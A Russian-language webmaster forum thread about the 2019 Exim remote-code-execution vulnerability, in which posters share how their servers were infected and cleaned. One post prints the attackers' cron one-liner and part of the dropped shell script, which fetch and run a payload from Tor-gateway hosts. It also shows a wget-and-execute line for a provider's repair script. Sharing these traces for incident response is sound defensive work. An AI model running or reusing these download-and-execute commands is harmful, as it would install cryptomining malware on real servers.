Вернуться   Форум об интернет-маркетинге > >
Ответ
 
Опции темы
Старый 12.06.2019, 05:01   #21
Diman777
Вебмастер
 
Аватар для Diman777
 
Регистрация: 20.05.2013
Сообщений: 46
Репутация: 10
Отправить сообщение для Diman777 с помощью ICQ Отправить сообщение для Diman777 с помощью Skype™
Социальные сети Профиль в ВКонтакте

По умолчанию Re: Уязвимость очень высокого уровня в exim

Цитата:
Сообщение от Lastwarrior Посмотреть сообщение
Как быстро проверить успели напихать вирусни или нет?
10 июня примерно в 2.52 по мск один мой сервер был взломан данным способом скрин 1 https://prnt.sc/nzqmhf скрин 2 https://prnt.sc/nzq1ta
Заметил, что сайт упал 502 ошибкой начал смотреть заметил потухшие службы (скрин 2) в процессах висело такое
Код:
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
10543 root      20   0  430524   7636    652 S 399.3  0.0 256:26.18 [kthrotlds]
   42 root      rt   0       0      0      0 S   0.3  0.0   0:00.01 watchdog/7
29601 mysql     20   0 2281312 274392   5496 S   0.3  0.4   0:00.28 mysqld
в кроне такой код был
Код:
tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --connect-timeout 26 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /usr/local/bin/npt||${curl}  -fsSLk --connect-timeout 26 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /usr/local/bin/npt||${curl}  -fsSLk --connect-timeout 26 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /usr/local/bin/npt||${wget}  --quiet --no-check-certificate --connect-timeout=26 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /usr/local/bin/npt||${wget}  --quiet --no-check-certificate --connect-timeout=26 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /usr/local/bin/npt||${wget}  --quiet --no-check-certificate --connect-timeout=26 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /usr/local/bin/npt) && chmod +x /usr/local/bin/npt && /bin/sh /usr/local/bin/npt
В данный момент собираю новый сервер на старом пока сайт висит с обрубленным кроном, что именно успели сделать пока выясняю и не лечил
Код:
wget http://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh
и не уверен что всё вылечит решил новый сервер собрать.

В созданных файлах можно найти такой код
Код:
#!/bin/bash

SPOOLDIR=/var/spool/exim

cd $SPOOLDIR/db
for a in retry misc wait-* callout ratelimit; do
    [ -r "$a" ] || continue
    [ "${a%%.lockfile}" = "$a" ] || continue
    /usr/sbin/exim_tidydb $SPOOLDIR $a >/dev/null
done
или такой
Код:
#!/bin/sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
RHOST="https://an7kmd2wp4xo7hpr"
TOR1=".tor2web.su/"
TOR2=".tor2web.io/"
TOR3=".onion.sh/"
RPATH1='src/ldm'
#LPATH="${HOME-/tmp}/.cache/"
TIMEOUT="75"
CTIMEOUT="22"
COPTS=" -fsSLk --retry 2 --connect-timeout ${CTIMEOUT} --max-time ${TIMEOUT} "
WOPTS=" --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=${CTIMEOUT} --timeout=${TIMEOUT} "
tbin=$(command -v passwd); bpath=$(dirname "${tbin}")
curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi
wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q ".wgetrc'-style command" && wget="$f" && break; done; fi; fi
#CHKCURL='curl="curl "; wget="wget "; if [ "$(whoami)" = "root" ]; then if [ $(command -v curl|wc -l) -eq 0 ]; then curl=$(ls /usr/bin|grep -i url|head -n 1); fi; if [ -z ${curl} ]; then curl="echo "; fi; if [ $(command -v wget|wc -l) -eq 0 ]; then wget=$(ls /usr/bin|grep -i wget|head -n 1); fi; if [ -z ${wget} ]; then wget="echo "; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; fi; '
CHKCURL='tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; '
LBIN8="kthrotlds"
null=' >/dev/null 2>&1'
sudoer=1
sudo=''
if [ "$(whoami)" != "root" ]; then
    sudo="sudo "
    timeout 1 sudo echo 'kthreadd' 2>/dev/null && sudoer=1||{ sudo=''; sudoer=0; }
.................Не помещается ))...............
Может кому пригодится.
__________________
Надежные VPS/VDS, выделенные серверы и хостинг на ssd дисках, Европейское качество - Fornex Hosting
-------------------------
Любая электрика в наличии и под заказ.
Diman777 вне форума   Ответить с цитированием

Реклама
Старый 12.06.2019, 11:24   #22
WapGraf
Академик
 
Аватар для WapGraf
 
Регистрация: 30.09.2009
Адрес: Болгария
Сообщений: 5,221
Репутация: 198812
Отправить сообщение для WapGraf с помощью Skype™
Социальные сети

По умолчанию Re: Уязвимость очень высокого уровня в exim

Как и предвидел - "лечилка" от firstvds не всегда срабатывает. Так что будьте внимательны!

Причин несколько.
1. время выполнения скрипта может совпасть с работой вредоносного ПО. В итоге пока скрипт работает, вирус возвращает все обратно.
2. killall может отсутствовать
3. скрипт не учитывает 32-битные ОС
4. был случай, когда изменение файла /etc/rc.local было запрещено (флаг -i), не учтено

Советую запустить сервер в single user или из live-cd. И там вылечить.
__________________
EuroHoster.org - территория быстрых серверов / Скидка до 60% на VPS:
1 vCPU / 1 GB RAM / 10 GB SSD /100 Mbps - от 2.00 EUR
2 vCPU / 2 GB RAM / 20 GB SSD / 100 Mbps - от 4.00 EUR
WapGraf вне форума   Ответить с цитированием
Сказали спасибо:
Старый Вчера, 14:46   #23
iBBi
Академик
 
Аватар для iBBi
 
Регистрация: 13.02.2007
Сообщений: 3,871
Репутация: 198274

По умолчанию Re: Уязвимость очень высокого уровня в exim

Поделюсь скриптом, который заражает. Замечу, может отличаться от сервера к серверу.
Смотрим и думаем что исправлять после него на сервере.

https://github.com/hostinko/public/blob/master/exim_rce
iBBi вне форума   Ответить с цитированием
Ответ



Опции темы

Быстрый переход


Регистрация Справка Календарь Поддержка Все разделы прочитаны